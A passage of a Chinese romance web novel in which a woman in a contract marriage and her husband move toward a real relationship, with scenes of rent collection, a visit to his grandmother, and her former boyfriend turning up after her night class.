主桌上,苏荷雨正靠在何钧礼肩上,笑得一脸甜蜜。 苏国强和赵秀兰坐在旁边,脸上带着得意的笑。 她收回目光,跟着越靳临走出饭店。 夜风凉丝丝的,吹在脸上很舒服。 越靳临跨上摩托车,回头看她。 “上来。” 苏念橙坐到他身后,轻轻搂住他的腰。 摩托车发动,时间还早,就往江边开去。 风吹起她的裙角,红裙子在阳光下里飘着。 她把脸埋在他背上,闻着那股淡淡的肥皂味,忽然开口。 “越靳临。” “嗯?” “你刚才为什么问我那个?” 第五十三章 想给你办 越靳临没第一时间回答她,先缓缓降将摩托车停在江边。 太阳正往西沉,橙红色的光铺满了江面,水波一层层荡开,碎金子似的晃眼。 越靳临停好车,长腿一支,下了车。 苏念橙也跟着下来,站在他旁边,看着那片江面发呆。 风吹过来,带着点水汽,凉丝丝的。 红裙子的裙角被风吹起来,一下一下撩着她的小腿。 越靳临转过身,看着她。 她就站在那儿,侧脸被夕阳镀上一层暖黄,睫毛长长地垂着,鼻尖挺翘,嘴唇微微抿着。 他忽然觉得,她比这江景好看多了。 “念橙。”他开口。 苏念橙转过头,对上他那双黑沉沉的眼睛。 他看着她,很认真。 “我想给你办。”他说。 苏念橙愣住了。 “什么?” “婚礼。”越靳临看着她,“我想给你办一场婚礼。” 给她办一场婚礼吗? 她脑子有点懵,刚才在饭店里他那句话,她还以为是随口一问。 可现在他就站在她面前,那么认真地说,想给她办婚礼。 “你……”她眨了眨眼,“为什么?” 越靳临没回答,只是往前走了半步,弯下腰,跟她平视。 “现在何钧礼已经结婚了。”他说,“你放下他了吗?” 苏念橙愣住了。 她没想到他会问这个。 他看着她的眼睛,等着她回答。 苏念橙沉默了两秒,开口时声音很平静。 “早放下了。”她说,“他那种人,我怎么可能还喜欢?” 越靳临看着她,没说话。 苏念橙咬了咬嘴唇,继续说下去,“我只是有时候觉得……自己的青春喂了狗,有点可惜罢了。跟他这个人没关系。” 这是真话。 那些年,她起早贪黑,省吃俭用,把最好的都给了他。 不是因为他有多好,是因为那是她第一次被人喜欢,第一次觉得自己的付出有意义。 后来才知道,那些都是假的。 可那些日子是真的,那些夜里偷偷笑醒的时刻是真的,那些攒钱给他买书买笔的欢喜是真的。 可惜的是那些日子,不是那个人。 越靳临听完,点了点头。 “既然你跟他已经没关系了,”他说,声音低沉,“心里也没有他。那现在,你愿不愿意试着接受我们这个婚姻?” 苏念橙愣住了。 她看着他,那双黑眸里映着她的样子。 她忽然觉得心跳快了几拍。 “这……”她低下头,盯着自己的鞋尖,“这不太好吧。” 越靳临眉头微微皱了皱,“为什么不好?” 苏念橙咬了咬嘴唇,“毕竟……还有人等你。” 越靳临愣了一下。 “谁?” 苏念橙抬起头,看着他,“芳婷姐啊。” 越靳临眉头皱得更紧了,“你怎么知道她在等我?” 苏念橙想了想,把那天逛街时陈芳婷说的话告诉他,“她说她回来晚了。那天在饭店,她说你以前给她剥虾。还有在厨房里,你们俩站在一起……” 她顿了顿,把后面那句特别般配咽回去。 “反正,”她低下头,“我看得出来,她喜欢你。” 越靳临沉默了几秒。 “她喜欢我,是她的事。”他说,“我把她当妹妹,从小就当妹妹。从来没想过别的。” 苏念橙抬起头,看着他。 他站在那儿,逆着光,脸上的表情看不太清,但那双眼眸黑沉沉的,很认真。 “而且,”他顿了顿,“我结婚了不是吗?” 苏念橙愣住了。 他说这话的时候,眼睛一直看着她。 像是在提醒她,也像是在提醒自己。 她心里忽然涌起一股五味杂陈的滋味。 “可我们……”她张了张嘴,“是协议的。” 越靳临看着她,“协议也可以变成真的。” 苏念橙完全愣住了。 她盯着他,一时之间不知道该说什么。 他站在那儿,夕阳的余晖落在他身上,把他的身躯照的像在发光。 他看着她,那眼神,不是那种什么都无所谓的眼神。 是认真的,带着点她看不懂的东西。 “你……”她张了张嘴,声音有点抖,“你说什么?” 越靳临没再重复,只是伸出手,轻轻握住她的手。 他的手干燥温热,指节有力,包着她的手,像包着什么易碎的东西。 “天黑了,”他说,“回去吧。” 苏念橙被他牵着,脑子还懵着,脚步却跟着他走。 他又避开这个话题了… 越靳临跨上摩托车,回头看她。 她站在那儿,脸红红的,眼睛亮亮的,那件红裙子被风吹得轻轻飘起来。 “上来。”他说。 苏念橙回过神,坐到他身后。 摩托车发动,往槐花胡同开。 风呼呼地吹,她把脸埋在他背上,闻着那股熟悉的肥皂味,心里乱成一团。 他刚才那些话,是什么意思? 协议也可以变成真的。 他是说,想跟她做真夫妻? 还是只是随口一说? 她想起他看她的眼神,认真得很,不像随口说的。 可他们才认识一个多月啊。 他怎么会…… 她咬着嘴唇,把脸埋得更低。 摩托车开进槐花胡同,停在楼下。 越靳临熄了火,回过头。 她趴在他背上,没动。 “到了。”他说。 苏念橙这才抬起头,下了车。 她站在那儿,低着头,不敢看他。 越靳临也下了车,站在她面前。 “念橙。”他叫她。 苏念橙抬起头。 他看着她,沉默了两秒。 “刚才那些话,”他说,“我是认真的。” 苏念橙愣住了。 他看着她,那双眼眸里映着路灯的光,亮亮的。 “你不用现在回答。”他说,“慢慢想。” 说完,他转身往楼里走。 苏念橙站在原地,看着他的背影消失在楼道里。 风吹过来,凉丝丝的。 她站了好一会儿,才慢慢往里走。 推开门,屋里亮着灯。 越靳临坐在客厅里,手里拿着张报纸,听见动静抬起头。 “回来了?”他问。 苏念橙点点头,“嗯。” 她换了鞋,往楼上走。 走到楼梯口,她忽然停下脚步。 “越靳临。”她回过头。 他看着她。 苏念橙咬了咬嘴唇,“你刚才说的那些……是真的吗?” 越靳临放下报纸,站起来。 他走到她面前,低头看着她。 “真的。” 第五十四章 慢慢来 苏念橙心跳漏了一拍。 她低下头,手指揪着裙边,揪得紧紧的。 “我……”她咬了咬嘴唇,“我不知道。” 越靳临没说话,只是看着她。 苏念橙深吸一口气,抬起头,“我们认识才一个多月,太短了。而且我刚经历过一段……”她顿了顿,把那两个字咽回去,“反正,要不要再了解一下?” 她说得小心翼翼,边说边看他脸色,怕他生气。 越靳临听完,忽然笑了。 他平时不怎么笑,这会儿笑起来,眉眼都柔和了,看着跟平时不太一样。 苏念橙有一些懵圈,但是这不像暴风雨前的宁静。 他伸出手,揉了揉她的头发。 动作很轻,带着点说不清的温柔。 “当然可以。”他弯下腰,跟她平视,“我没有强迫你的意思。我们可以慢慢来,你不要排斥我就行。” 苏念橙眨眨眼,心里那块石头落了地。 这人还挺善解人意的好 他黑眸锁着她,认真说,“另外,如果你觉得我跟芳婷的关系让你误解了,那是我的问题。我会处理好的,你放心。” 苏念橙微微愣了下。 她没想到他会主动提这个。 她低下头,小声说,“好。” 越靳临直起身,看着她,“还有别的吗?” 苏念橙想了想,摇摇头,“暂时没有了。” “那上去睡吧。”他说,“明天还要上班。” 苏念橙点点头,转身上楼。 走了两步,她又回过头。 他站在原地,正看着她。 “越靳临。”她开口。 “嗯?” 苏念橙咬了咬嘴唇,脸有点红,“我们可以慢慢来。我这个人比较慢热。” 越靳临嘴角弯了弯,“好。” 她这才转身上楼,脚步比刚才轻快了些。 关上门,她靠在门板上,捂着胸口。 心跳还是很快。 她走到桌边坐下,发了会儿呆。 刚才那些话,他说得那么认真。 还有那个笑,她发现他笑起来真的好看。 她摇摇头,把那些画面甩出去,拿了换洗衣服下楼洗澡。 洗完出来,她擦着头发上楼。 推开门,她愣住了。 桌上多了个东西。 一个牛仔布做的包,方方正正的,看着挺结实。 包旁边还有个小零钱包,粉色的布料,上面印着小碎花,可爱得很。 她走过去,拿起那个小零钱包打量。 真好看。 她从来没见过这么可爱的零钱包。 她把它攥在手心里,软软的,暖暖的。 她放下零钱包,又看了看那个牛仔包。包挺大的,能装不少书。 她忽然想起什么,拿着零钱包下楼。 客厅里,越靳临正站在窗边,做着俯卧撑。 他换了件黑色背心,古铜色的皮肤上覆着一层薄汗,背心贴在身上,勾勒出宽阔的肩膀和紧实的腰腹。 随着动作,背心底下肌肉绷紧又放松,若隐若现地露出几块腹肌的轮廓。 苏念橙站在楼梯口,看了一眼,脸腾地红了。 她赶紧移开视线,可那画面已经在脑子里扎了根。 她深吸一口气,走过去。 越靳临听见动静,停下动作,站起来。 他随手拿起搭在椅背上的毛巾,擦了擦脸上的汗。 “怎么了?”他问。 苏念橙低着头,把零钱包递过去,“这个是你买的?” 越靳临看了一眼,“嗯。喜欢吗?” 苏念橙点点头,“喜欢。谢谢你。” 她打开零钱包,往里一看,愣住了。 里头躺着一叠钞票,厚厚一摞。 她数了数,三百块。 三百块。 今天何钧礼和苏荷雨结婚,何家给的彩礼三大件外加两百块,已经算多的了。 这三百块…… 她抬起头,看着越靳临,“怎么这么多钱?” 越靳临走过来,“给你花的。” 苏念橙急了,“这怎么行?我不能要——” 她把零钱包往他手里塞。 越靳临没接,只是看着她,“就是给你日常花销用的。不用小心翼翼,大胆花。” 苏念橙彻底呆住了。 日常花销? 三百块的日常花销? 她去工地上班一个月工钱才十八块。 “使不得……”她声音都有点抖,“这也太多了。” 她怕这是彩礼啊,用了就是把自己给卖了。 越靳临像看出她的顾虑,低头看着她,“这不是彩礼。” 苏念橙眨了眨眼睛,觉得不可思议。 意思是说这三百块钱不是彩礼,而且给她花的? “等你觉得我们到了合适的时候,彩礼我可以马上准备。” 苏念橙看着面前这个男人,他刚锻炼完,头发还湿着,几缕碎发贴在额前。 古铜色的皮肤上泛着薄汗,黑色背心被汗浸得深一块浅一块。 他就这么站在她面前,说着这些话,像是在说今天天气不错一样自然。 可那些话,一句一句,都砸在她心上。 她低下头,攥着那个零钱包,指节泛白。 眼眶忽然酸了。 她使劲眨了眨眼,把那点酸意憋回去。 越靳临察觉到她的不对劲,弯下腰,看着她。 “怎么了?”他声音放轻了些,“被我感动了?” 苏念橙没说话,只是低着头。 他笑了一下,伸手摸摸她的头,“不应该感动。丈夫给媳妇儿花钱,天经地义。” 苏念橙抬起头,眼眶还红着,却忍不住笑了。 “谢谢你。”她说,声音有点哑,“你在我心里狠狠加分。” 越靳临看着她那副又哭又笑的样子,心里软了一下。 “是吗?”他嘴角弯了弯,“那太好了。” 他忽然想起什么,“对了,明天三十号,我要去那片门店收租。你要不要跟我一起去?” 苏念橙愣了一下,“收租?” “嗯。”他说,“你不是想去看看吗?” 苏念橙确实想去看看,那片门面她只听周文静说过,还没亲眼见过。 不过她知道吴大夫是其中一个。 可她想了想,“明天不是要上班吗?” 越靳临看着她,那眼神像是在看一个傻孩子。 “那个工地是我在开工资,”他说,“你想不去就不去。” 苏念橙愣住了。 对哦。 她怎么把这茬忘了。 她脸有点红,低下头,“那……那我就不去了?” 越靳临笑了,“不去也行,在家复习。不过收租挺有意思的,可以看看不同的人,长长见识。” 第五十五章 收租 苏念橙想了想,点点头,“那我去。” “好。”他说,“明天中午吃完饭出发。” 苏念橙嗯了一声,攥着零钱包上楼。 走到楼梯口,她忽然回过头。 他站在客厅里,正看着她。 “越靳临。”她开口。 “嗯?” 她咬了咬嘴唇,“晚安。” 越靳临嘴角弯了弯,“晚安。” 她转身上楼,脚步轻快。 关上门,她把那个零钱包放到桌上,又拿起那个牛仔包看了看。 质量很好,做工也不错,她很喜欢。 以后去图书馆,就不用拎着那个旧布袋了。 她把零钱包小心地放好,躺到床上。 盯着天花板,脑子里全是刚才那些画面。 他站在窗边做俯卧撑,背心底下若隐若现的腹肌。 他摸她头的样子,手掌温热,动作很轻。 还有他说的那些话。 丈夫给媳妇儿花钱,天经地义。 等你觉得我们到了合适的时候,彩礼我可以马上准备。 她翻了个身,把脸埋进枕头里。 耳朵烫得厉害。 她不知道自己是什么时候睡着的。 第二天中午,越靳临来接她。 摩托车停在一排平房前。 “到了。”他停好车,回过头。 苏念橙下了车,看着面前那排门面。 有卖布的,卖杂货的,还有一家小饭馆。 门口人来人往,热闹得很。 越靳临牵着她,一家一家走过去。 “王婶,这个月生意怎么样?”他走进第一家布店。 王婶是个五十来岁的老太太,看见他眼睛一亮,“哟,越老板来啦!”她目光落在苏念橙身上,“这是……” 越靳临握着苏念橙的手,“我媳妇儿。” 苏念橙脸一红。 王婶上下打量着她,笑得眼睛眯成一条缝,“哎哟,越老板娶媳妇儿啦!这姑娘长得真俊!来来来,坐坐坐!” 她热情得很,又是倒水又是拿点心。 苏念橙被她的热情弄得有点不好意思,红着脸接过水杯。 王婶跟她聊了好一会儿,问东问西的,最后才把房租钱数给越靳临。 出了布店,越靳临又带着她去了下一家。 杂货店的老板是个中年男人,看见越靳临就笑,“越老板来了!这位是嫂子吧?长得真好看!” 苏念橙被叫得脸红,低着头不敢说话。 越靳临握着她的手,一家一家走过去。 有的租客热情,有的租客冷淡,但都对越靳临客客气气的。 苏念橙跟在他身边,看着他跟那些人说话,心里忽然有种奇怪的感觉。 这个男人,好像比她想象的要厉害得多。 收完最后一家的租,天已经快黑了。 越靳临牵着她往回走。 “累不累?”他问。 苏念橙摇摇头,“不累。挺有意思的。” 越靳临低头看她,“喜欢吗?” 苏念橙想了想,点点头,“喜欢。” 他嘴角弯了弯,“那以后每个月都带你来。” 苏念橙愣了一下,抬起头看他。 夕阳的余晖落在他身上,把他俊俏的脸庞展现的更加帅气。 他低头看着她,那双黑沉沉的眼睛里带着笑意。 她忽然觉得心跳快了几拍。 “好。”她点点头。 越靳临笑笑,低头看她,“饿不饿?带你去吃好吃的。” 苏念橙眼睛亮了亮,“好啊。” 两人上了摩托车,往东边开。 绕过两条街,停在一家不起眼的小店门口。 店面不大,招牌也旧了,但里头飘出来的香味直往鼻子里钻。 “这家店开了十几年了。”越靳临停好车,牵着她往里走,“老板以前是大院的炊事员,退休后开了这家店。做的菜比国营饭店还地道。” 店里几张木头桌子,坐了大半。 老板是个五十多岁的胖大叔,系着白围裙,看见越靳临眼睛一亮。 “小越来了?”他笑着迎过来,“好久不见啊!这位是……” 越靳临握着苏念橙的手,“我媳妇儿。” 老板上下打量苏念橙一眼,笑得眼睛眯成一条缝,“哎哟,小越娶媳妇儿啦?这姑娘长得真俊!快快快,里边坐!” 他领着两人到靠窗的桌子坐下,又端了壶热茶过来,“想吃什么?尽管点!” 越靳临把菜单递给苏念橙,“想吃什么?” 苏念橙接过来看了看,又递回去,“你点吧,我也不知道什么好吃。” 越靳临也不推辞,点了红烧肘子、糖醋里脊、炒青菜,还有一碗酸辣汤。 老板记下,乐呵呵地进了厨房。 等菜的功夫,苏念橙撑着下巴看窗外的街景。这会儿天已经擦黑了,路灯亮起来,有人骑着自行车经过,车铃叮铃铃地响。 越靳临倒了杯茶递给她,“喝点茶,暖暖胃。” 苏念橙接过来,小口小口地喝。 茶是茉莉花茶,香香的,喝下去暖洋洋的。 她捧着茶杯,忽然听见越靳临开口。 “念橙。” 她抬起头,“嗯?” 越靳临看着她,“你生日是什么时候?” 苏念橙愣了一下,“怎么突然问这个?” “想记住。”他说。 苏念橙心跳漏了一拍,低下头,盯着杯子里的茶,“三月十五。” 越靳临点点头,像是在心里记下了。 “我的生日在十一月初六。”他说。 苏念橙抬起头,“那我记着了。” 越靳临看着她,嘴角弯了弯,“好,我也记住你的生日了。” 苏念橙被他看得有点不好意思,低下头继续喝茶。 耳朵尖悄悄红了。 菜很快端上来,红烧肘子炖得软烂,糖醋里脊外酥里嫩,酸辣汤酸辣开胃。 苏念橙吃得很认真,腮帮子鼓鼓的。 越靳临看着她吃,时不时给她夹菜,“多吃点。” 苏念橙点点头,继续埋头吃。 吃到一半,她忽然想起什么,抬起头。 “对了,你生日那会儿,我送什么给你好?” 越靳临愣了一下,随即笑了,“不用送。” “那怎么行?”苏念橙认真地说,“你都记住我生日了,我当然也要送你东西。” 越靳临看着她那副认真的样子,心里软了一下。 “那就随便送。”他说,“你送的我都喜欢。” 苏念橙眨眨眼,点点头,“那我好好想想。” “嗯,慢慢想,不着急的。” 第五十六章 送花 吃完饭,越靳临付了钱,两人出了店门。 天已经完全黑了,路灯把街道照得昏黄。 摩托车就停在门口,越靳临刚要跨上去,忽然停住了。 苏念橙顺着他的目光看过去。 街角蹲着个老奶奶,头发花白,穿着件旧棉袄,面前摆着个竹篮子。 篮子里装着一把一把的花,有黄的白的紫的,用草绳扎着,在路灯下看着挺好看。 老奶奶缩着脖子,搓着手,不时往路过的行人看一眼。 越靳临这时确实走过去,蹲下来,“奶奶,这花怎么卖?” 老奶奶抬起头,眼睛亮了,“两毛钱一把,同志。都是自家院子里种的,新鲜着呢。” 越靳临点点头,从口袋里掏出钱,递过去,“都要了。” 老奶奶愣住了,“都要了?” “嗯。”越靳临把钱塞到她手里,“天快冷了,早点回去歇着。” 老奶奶捧着钱,眼眶红了,“谢谢同志,谢谢同志……” 她站起来,把篮子递给越靳临,又鞠了个躬,拎着空篮子慢慢走了。 越靳临抱着那篮子花,转身看向苏念橙。 她就站在路灯下,穿着那件红裙子,风吹起她的裙角。 眼睛亮亮的,正看着他。 他走过去,低头看着她。 “喜欢什么花?”他问,声音低沉,“自己挑。” 苏念橙低下头,看着篮子里那些花。 有黄色的雏菊,白色的野菊,还有几朵紫色的不知名小花,挤挤挨挨地插在一块儿。 她伸手,拿起一把黄色的雏菊。 “这个。”她抬起头,看着他,“我喜欢这个。” 越靳临点点头,把那把花递给她。 苏念橙接过花,低头闻了闻。 淡淡的香,带着点泥土的气息。 她抬起头,正要说什么,忽然看见他正看着她。 那眼神,黑沉沉的,亮亮的,像能把她吸进去。 她心跳漏了一拍。 “怎么了?”她问。 越靳临摇摇头,“没什么。” 他把剩下的花放进摩托车后座的箱子里,跨上车,回头看她。 “上来吧。” 苏念橙点点头,坐到他身后,一只手搂着他的腰,另一只手握着那把花。 摩托车发动,往槐花胡同开。 风呼呼地吹,她把脸埋在他背上,闻着那股熟悉的肥皂味,还有手里那淡淡的菊花香。 心里忽地暖暖的,软软的,像有什么东西在悄悄发芽。 摩托车停在楼下。 苏念橙下了车,抱着那把花,站在路灯下。 越靳临停好车,走过来。 “上去吧。”他说,“早点睡。” 苏念橙点点头,却没动。 她抬起头,看着他。 路灯的光落在他脸上,把那双眼眸照得格外明亮。 “越靳临。”她开口。 “嗯?” 苏念橙咬了咬嘴唇,“今天……谢谢你。” 越靳临低头看着她,“谢什么?” “谢你带我去收租,谢你带我去吃好吃的,谢你……”她低头看了看手里的花,“谢你送我这个。” 越靳临嘴角弯了弯,“喜欢就好。” 他伸出手,揉了揉她的头发。 “上去吧。”他说。 苏念橙点点头,转身上楼。 走了两步,她又回过头。 他还站在原地,看着她。 “晚安。”她说。 越靳临笑了笑,“晚安。” 苏念橙这才转身上楼,脚步轻快。 推开门,屋里黑漆漆的。 她拉亮灯,把那把花插进桌上的搪瓷缸子里,又往里头倒了点水。 黄色的雏菊在灯光下看着格外鲜活。 她站在桌边,看了好一会儿,才去洗漱。 洗完出来,她躺在床上,盯着天花板。 脑子里全是今晚的画面。 他问她的生日,说想记住。 他说她送的都喜欢。 他买下所有花,让她自己挑。 她翻了个身,把脸埋进枕头里。 耳朵烫得厉害。 窗外的月光透过窗帘的缝隙照进来,在地上投下一道银白的光。 她闭上眼睛,嘴角还带着笑。 不知道过了多久,她终于睡着了。 第二天一早,苏念橙起床下楼。 厨房里照常飘来香味,越靳临系着围裙站在灶台前,听见动静回过头。 “醒了?洗脸吃饭。” 苏念橙点点头,去洗漱。 坐到桌边,桌上摆着粥,咸菜,还有两个荷包蛋。 两人安静地吃着。 吃了一会儿,苏念橙忽然想起什么。 “对了,”她抬起头,“昨晚那些花,你放哪儿了?” 越靳临筷子顿了顿,“在后座箱子里。怎么了?” 苏念橙眨了眨眼,“就那么放着?会不会蔫了?” “不会。”他说,“今早看过了,还新鲜着。” 苏念橙点点头,“那就好。” 她低下头继续吃饭,心里却在想,那些花可以分一些给文静姐,再分一些给佩佩。 越靳临看了她一眼,没说话。 吃完饭,两人照常去上班。 摩托车在晨风里开,苏念橙搂着他的腰,把脸埋在他背上。 到了工地,苏念橙从摩托车后座箱子里把花抱出来。 昨晚那一篮子花还新鲜着,黄的白的紫的,挤挤挨挨抱了满怀。 “我想送点给文静姐。”她抬起头看越靳临。 越靳临点点头,“当然可以。”伸手从她怀里分了一半过来,“走吧,我帮你拿。” 苏念橙笑笑,“好。” 两人抱着花往办公室走。 晨光从背后照过来,两人的影子莫名般配。 刚走到办公室门口,迎面就碰见陈芳婷。 她今天穿了件素色的毛衣裙,头发披着,手里拎着个网兜,里头装着几个铝饭盒。 看见两人,她眼睛亮了亮。 “靳临哥,念橙,早上好啊。”她笑着走过来,目光落在那堆花上,“哟,这么多花?哪儿来的?” 她自然的像那天的事情从未发生。 苏念橙大大方方地笑了笑,“芳婷姐早。昨晚一个老奶奶在路边卖的,我们就都买了。” 陈芳婷点点头,眼里带着点好奇,“真好看。能给我一点吗?我宿舍正好缺瓶花。” “当然可以。”苏念橙从怀里抽出一把白色的野菊,递过去,“给。” 陈芳婷接过花,低头闻了闻,“谢谢念橙。真香。” 她抬起头,晃了晃手里的网兜,“我路过这边,给文静买了点早餐。她最近老说食堂的早饭不好吃。”顿了顿,“那我先去给文静送,送完还得赶去学校上课。回头聊。” 第五十七章 了解他的家庭 苏念橙点点头,“好,芳婷姐慢走。” 越靳临也点点头,“嗯。” 陈芳婷抱着花,拎着网兜往前走。 走了几步,又回头看了一眼。 那两个人还站在原地,一个高大冷硬,一个纤细温柔,站在晨光里,还挺般配。 她收回目光,加快脚步。 苏念橙抱着花进了周文静办公室。 周文静正趴在桌上写字,看见她进来,眼睛一亮。 “哟,念橙来啦!”目光落在她怀里那堆花上,“这哪儿来的?真好看!” 苏念橙把花放到桌上,“昨晚路边一个老奶奶卖的,越靳临都买了。给你分点。” “哎哟,替我谢谢越哥!”周文静挑了几枝,插进桌上的搪瓷缸子里,“你们俩可真行,收个租还能收出花来。” 苏念橙笑了笑,没多待,“我先去忙了。” “去吧去吧。” 回到自己办公室,苏念橙把剩下的花插好,坐到桌边开始干活。 一上午很快就过去了。 中午,越靳临来找她吃饭。 两人在食堂吃完,他送她回办公室。 “奶奶想你了。”他忽然开口。 苏念橙愣了一下,“啊?” “昨天打电话过来,”越靳临看着她,“问你最近怎么样,说想你了。问你愿不愿意去看看她。” 苏念橙想起那个笑眯眯的老太太,心里一暖,“好啊。什么时候去?” “下午吧。”他说,“正好今天工地不忙,我送你过去。不过待会儿工地有点事,我得先回来,你陪奶奶聊会儿,晚上我再去接你。” 苏念橙点点头,“行。” 下午,越靳临送她去了军区大院。 老太太早就在门口等着了,看见她眼睛一亮,“念橙来了!” 苏念橙赶紧下车,走过去,“奶奶好。” 老太太拉着她的手,上下打量,“瘦了。靳临那小子没给你吃饱饭?” 苏念橙笑了,“吃饱了,他天天做好吃的。” 老太太哼了一声,“那还这么瘦?肯定是他做得不够好。”拉着她往里走,“走,奶奶今天给你炖了猪蹄,好好补补。” 越靳临站在门口,“奶奶,那我先走了,工地有点事。” 老太太摆摆手,“走吧走吧,记得晚上来接人。” 越靳临看了苏念橙一眼,伸手揉了揉她的头,“替我陪陪奶奶。” 苏念橙点点头,“好。” 摩托车发动,很快就消失在胡同口。 老太太拉着苏念橙进了屋,让她在沙发上坐下,自己忙活着去倒水拿点心。 苏念橙赶紧站起来,“奶奶我来——” “坐着坐着!”老太太把她按回去,“到了奶奶这儿,就安心坐着。” 她倒了杯茶递过来,又在苏念橙旁边坐下,笑眯眯地看着她。 “念橙啊,奶奶想跟你说说话。” 苏念橙点点头,“奶奶您说。” “那奶奶就跟你讲讲临儿的事吧。” “好呀奶奶,我听着。”苏念橙说着挺直腰板,一副要聆听的架势。 老太太叹了口气,语气里带着点感慨,“靳临这孩子,他爸五年前患病走了,他妈是京海医院的外科医生,忙得很。上次我打电话告诉她靳临结婚的事,她高兴坏了,说有空一定回来看看你。可这都多久了,也没个信儿。医院那边忙,我也理解。” 苏念橙静静地听着。 “这大院里头,”老太太继续说,“现在就剩我这个老太婆一个人住。靳临那小子忙,靳雪又在京海念书,难得回来一趟。” 她看着苏念橙,眼里带着期待,“念橙啊,以后你多来陪陪奶奶,好不好?” 苏念橙心里一暖,用力点头,“好。奶奶,我一定常来。” 老太太笑了,拍拍她的手,“好孩子。” 她忽然想起什么,“对了,靳临还有个妹妹,叫靳雪,在京海大学念金融系,大一。那丫头性子跟她哥不一样,活泼得很,圆眼睛圆脸的,可爱。等她暑假回来,你们俩肯定能处得好。” 苏念橙点点头,“好,我等她回来。” 老太太又跟她聊了些家常,问了她在乡下的日子,问了她在工地的工作,问了复习考大学的事。 苏念橙拣着能说的说了,没提那些糟心事。 老太太听着,时不时点点头,眼里带着心疼。 聊了一会儿,老太太站起来,“走,陪奶奶去院子里种花。昨儿个买了几棵月季,还没来得及种呢。” “好呀奶奶。”她自然地挽住老太太的胳膊。 然后两人一起去了后院。 院子里有块小菜地,旁边还有几棵果树。 老太太拿着小铲子挖坑,苏念橙帮着把月季苗放进去,两人配合默契。 太阳慢慢西斜,把院子里照得暖洋洋的。 种完花,两人又回屋做饭。 老太太掌勺,苏念橙打下手,有说有笑的。 六点刚过,门被推开了。 越靳临站在门口。 “奶奶,念橙。”他走进来,“我来接人了。” 老太太瞪了他一眼,“急什么,饭还没好呢。坐下等着。” 越靳临笑了笑,“好勒。”随后他在桌边坐下,看着厨房里那两个人忙活。 不一会儿,饭菜端上桌。 猪蹄炖得软烂,红烧肉油亮亮的,还有几个炒菜。 三人围坐着吃饭,说说笑笑。 吃完饭,越靳临站起来,“奶奶,我们得走了。念橙晚上有课。” 老太太点点头,“行,路上慢点。”拉着苏念橙的手,“念橙啊,常来啊。” 苏念橙点点头,“好,奶奶保重。” 两人出了门,摩托车往槐花胡同开。 越靳临看了看表,“时间还够,要不要回家洗个澡再去?” 苏念橙点点头,“好。” 回到家,苏念橙快速洗了个澡,换了身干净衣服。 下楼时,越靳临已经在等着了。 摩托车往师范学院开。 天已经黑了,路灯把街道照得昏黄。 苏念橙坐在后座,搂着他的腰,心里想着待会儿上课的事。 到了师范学院门口,她下了车。 “那我进去了。”她看着他。 越靳临点点头,“嗯。” 她转身要走,手却被拉住了。 她回过头。 越靳临站在她面前,从口袋里掏出个东西,拉起她的手,往她手腕上套。 凉丝丝的,是个手表。 银色的表盘,棕色的皮表带,在路灯下泛着淡淡的光。 第五十八章 我男人来接我 苏念橙愣住了。 他低着头,手指仔细地给她扣好表带,动作很轻。 “给你买的。”他系好,抬起头看着她,“八点五十五分,我过来接你。好好上课。” 苏念橙低头看着手腕上那个手表,心里像被什么东西塞得满满的。 她抬起头,看着他,眼眶有点酸。 “谢谢你。”她说,声音有点哑,“我很喜欢。” 越靳临嘴角弯了弯,“喜欢就好。” 她深吸一口气,把那点酸意压下去,看着他,“那……不见不散。” “不见不散。”他说。“快进去吧,要迟到了。” 苏念橙点点头,转身往校门里走。 走了两步,又忍不住回头看了一眼。 他还站在原地,看着她。 她朝他挥挥手,加快脚步往里走。 师范学院的教学楼是一栋灰色的三层小楼,补习班在一楼的大教室。 苏念橙找到教室,推门进去,里头已经坐了不少人。 她四处张望,想找个空位。 忽然有人拍了下她的肩膀。 “念橙!” 苏念橙回过头,何佩佩站在她身后,笑得眼睛弯成月牙。 “你怎么在这儿?”苏念橙惊喜地看着她。 何佩佩一把搂住她的胳膊,“我也报名了啊!咱俩又能一起上课了!” 苏念橙笑了,“太好了。走,找个位置坐。” 两人在靠后的位置坐下,掏出本子和笔。 何佩佩凑过来,压低声音,调侃道,“念橙,你看见门口那个男的了吗?长得真俊。” 苏念橙愣了一下,“哪个男的?” “就刚才送你来的那个啊。”何佩佩眨眨眼,“骑摩托车那个。那是你男人?” 苏念橙脸一红,点点头,“嗯。” 何佩佩眼睛亮了,“可以啊念橙!长得真俊!比我哥强多了。” 苏念橙笑了笑没接话。 何佩佩就是这样,性格直爽。 上课铃响了。 老师走进来,是个四十来岁的女老师,戴着眼镜,说话温温柔柔的。 今晚讲的是英语语法。 苏念橙听得认真,手里的笔飞快地记着。 何佩佩在旁边听得直打瞌睡,脑袋一点一点的。 苏念橙推了推她,“认真听。” 何佩佩揉了揉眼睛,“困死了……我听不懂……” “慢慢来。”苏念橙小声说,“刚开始都这样。” 何佩佩点点头,强撑着继续听。 两节课很快就过去了。 下课铃响的时候,苏念橙揉了揉发酸的手腕,低头看了一眼手表。 八点五十二分。 还有三分钟。 她收拾好东西,跟何佩佩一起往外走。 两人出了教学楼,穿过操场,往校门口走。 夜风凉丝丝的,吹在脸上很舒服。 何佩佩挽着她的胳膊,边走边说话,“念橙,你听懂了吗?我好多都没听懂……” “听懂了一些。”苏念橙说,“回去再看看书。” 何佩佩叹了口气,“你脑子真好使。” ”你多看看也能学会的。” 两人走到校门口,何佩佩忽然停住了。 苏念橙顺着她的目光看过去。 门口站着个人。 穿着深色毛衣,深色的长裤,站在路灯下。 是何钧礼。 何佩佩愣了一下,“哥?你怎么来了?” 何钧礼走过来,看了苏念橙一眼,很快移开目光,对何佩佩说,“妈说天黑了,怕你一个人回去不安全,让我来接你。” 何佩佩哦了一声,“那你等会儿,我跟念橙说句话。” 她转头看向苏念橙,“念橙,那我先走了啊。明天咱俩一块儿来。” 苏念橙点点头,“好。” 何佩佩转身要走,何钧礼却没动。 他站在原地,看着苏念橙。 路灯的光落在她身上,把她整个人照得柔和。 她穿着件深蓝色的外套,头发扎成马尾,露出光洁的额头。 手腕上多了个手表,银色的表盘,棕色的皮表带。 他看着那个手表,心里忽然堵得慌。 “苏念橙。”他开口。 苏念橙抬起头,看着他,脸上没什么表情。 何钧礼顿了顿,“你……一个人回去?” 苏念橙没说话。 何钧礼往前走了一步,“要不……我送你一程?反正顺路。” 何佩佩在旁边愣住了,看看她哥,又看看苏念橙。 苏念橙正要开口,余光忽然瞥见不远处一个熟悉的身影。 摩托车停在路灯下,越靳临刚下车,正往这边走。 他穿着那件深灰色外套,风轻轻拂过,吹起他的碎发一晃一晃的,却丝毫不压他的帅气。 